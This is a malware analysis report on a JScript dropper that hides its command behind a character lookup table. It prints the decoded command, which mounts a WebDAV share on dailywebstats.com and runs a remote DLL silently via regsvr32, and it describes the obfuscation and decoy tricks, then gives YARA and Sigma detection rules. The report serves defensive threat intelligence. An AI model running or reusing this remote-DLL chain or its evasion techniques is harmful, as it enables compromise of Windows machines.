unclassified-js-webdav-dropper: e6ebae6a — JScript dictionary obfuscation, dailywebstats.com C2, WebDAV + regsvr32 chain

Executive Summary

15 KB JScript dropper that hides its real command behind a 62-entry character lookup table decoded via the Function() constructor. Once deobfuscated, it spawns powershell.exe -EncodedCommand to mount a WebDAV share (dailywebstats.com:8888) and execute a remote DLL via regsvr32 /s. Third sibling in the unclassified-js-webdav-dropper cluster; introduces a new JS obfuscation dialect not seen in the earlier batch-SET variants.

What It Is

Family attribution: unclassified-js-webdav-dropper. Third confirmed sibling after da58243c (JScript/batch polyglot, 45.9.74.13:8888) and ffd5d894 (pure batch, 45.9.74.36:8888). This sample uses a different C2 host (dailywebstats.com, not 45.9.74.x) and a completely different obfuscation mechanism, but the end execution chain (net use + regsvr32 /s over WebDAV) is identical. Confidence: medium.

How It Works

Layer 1 — Dictionary lookup table

The first ~13 KB of the file is a single line defining 62 key/value pairs in a JScript associative array: long random keys map to single printable characters. ^[strings.txt] Keys are 6–24 lowercase characters (e.g. tmiwdnyivberuvnlnc['jnqowrftetlzrudc']='r'). No duplicate values; every ASCII letter (upper and lower), digit, and common punctuation mark is present.

Layer 2 — String concatenation via Function() constructor

The remainder of the file wraps the assembled payload in Function('return this')()['WScript']['CreateObject']('WScript.Shell')['run'](...), a self-referential global-object construction to reach WScript without typing the literal. ^[strings.txt:1]

The actual command is assembled from concatenated dictionary lookups. Decoded Base64 (UTF-16-LE) reveals:

net use \\dailywebstats.com@8888\davwwwroot\ ; regsvr32 /s \\dailywebstats.com@8888\davwwwroot\30122106810637.dll

No sandbox gates. No debugger checks. No connectivity checks. No persistence. One-shot dropper.

Decompiled Behavior

Not applicable — script source is fully available. Static deobfuscation (Python re + base64) suffices. No compiled binary sections to analyze. CAPE skipped because the file is plain text. ^[dynamic-analysis.md]

C2 Infrastructure

DNS/hosting: dailywebstats.com is distinct from the 45.9.74.x range used by the two prior siblings. This suggests the cluster is either broader geographically or brokered across multiple throw-away hosts.

Interesting Tidbits

• No commercial obfuscator. Unlike the itegroup-sbs-dropper (javascript-obfuscator) or the unclassified-js-pptx-dropper (RC4 string-array), this is hand-written dictionary encoding. Low development effort, high static-analysis friction. ^[strings.txt]
• Function('return this')() idiom. Explicitly constructs a global object to reach WScript — a variant of this['WScript'] or eval('WScript') seen in other JS droppers.
• UTF-16-LE Base64 payload. The PowerShell -EncodedCommand argument is standard UTF-16-LE Base64. The JS layer could be generated by a simple template engine that fills in a hardcoded payload string.
• Try/catch decoy. The entire payload sits in a catch block triggered by a deliberately failing try{uzdjzsuqjxofr();} — a function that does not exist. Naïve static analyzers following only the try branch miss the real behavior.
• Single-line delivery. The entire 15 KB file is one line (15,095 chars, no line terminators). ^[file.txt] Likely delivered as an email attachment or download where line breaks would be suspicious.
• DLL filename as timestamp. 30122106810637.dll resembles a timestamp (possibly 2024-12-30 21:06:81 or similar). Shared cluster fingerprint with the ffd5d894 sibling which used 24013635923706.dll.

Deployable Signatures

YARA rule

rule JS_Dictionary_WebDAV_Dropper {
    meta:
        author = "PacketPursuit"
        description = "JScript dropper with character dictionary obfuscation and WebDAV payload"
        family = "unclassified-js-webdav-dropper"
        confidence = "medium"
        date = "2026-06-18"
    strings:
        $dict_pattern = /tmiwdnyivberuvnlnc=\[\];tmiwdnyivberuvnlnc\['[a-z]{6,24}'\]='/ nocase
        $function_constructor = "Function(''+"
        $wscript_shell = "'WScript.Shell'"
        $encoded_cmd = "-EncodedCommand"
        $davwwwroot = "DavWWWRoot" nocase
        $regsvr32 = "regsvr32"
    condition:
        filesize < 30KB and
        ($function_constructor or $dict_pattern) and
        $wscript_shell and
        ($encoded_cmd or ($davwwwroot and $regsvr32))
}

Behavioral hunt query (Sigma — process_creation)

title: WebDAV Regsvr32 DLL Loading
status: experimental
logsource:
    product: windows
    category: process_creation
detection:
    selection:
        CommandLine|contains:
            - '\\@8888\\'
            - 'DavWWWRoot'
        Image|endswith: '\regsvr32.exe'
    condition: selection
falsepositives:
    - Unknown
level: high

IOC list

Behavioral fingerprint statement

A 15 KB single-line JScript file opens via WScript, triggers a catch block on a deliberately missing function, constructs WScript.Shell via the Function('return this')() global trick, then passes a UTF-16-LE Base64-encoded PowerShell command to powershell.exe -EncodedCommand. The decoded command mounts an attacker-controlled WebDAV share and silently registers a remote DLL via regsvr32 /s. No persistence, no sandbox evasion, no anti-debug. One-shot payload delivery.

Detection Signatures

References

• Artifact ID: 1ccb7ba0-8ae0-47ac-acb9-2d1f05ae4ed5
• Source: OpenCTI (abuse.ch MalwareBazaar connector)
• Related family page: unclassified-js-webdav-dropper
• Related technique page: webdav-regsvr32-dll-sideloading
• Related technique page: js-dictionary-char-lookup-obfuscation

Provenance